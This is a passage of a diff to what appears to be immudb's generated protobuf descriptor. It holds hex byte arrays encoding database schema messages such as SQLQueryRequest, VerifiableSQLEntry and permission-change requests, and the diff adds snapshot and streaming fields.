0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, + 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, + 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, + 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, + 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, + 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, + 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, + 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, + 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, + 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, + 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, + 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, + 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x18, + 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x1a, + 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, + 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, + 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xad, + 0x01, 0x0a, 0x1a, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, + 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, + 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, + 0x0a, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x1d, + 0x0a, 0x1b, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, + 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4a, 0x0a, + 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, + 0x32, 0x22, 0x53, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x39, 0x0a, 0x09, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x09, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x83, 0x02, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x69, 0x73, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x64, 0x69, 0x73, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0f, 0x6e, + 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1d, + 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1d, 0x0a, + 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x22, 0x9e, 0x01, 0x0a, + 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, + 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, + 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, + 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, + 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0xa4, 0x01, 0x0a, + 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, + 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, - 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, + 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x42, 0x02, 0x18, 0x01, + 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x12, + 0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, + 0x6d, 0x12, 0x12, 0x0a, 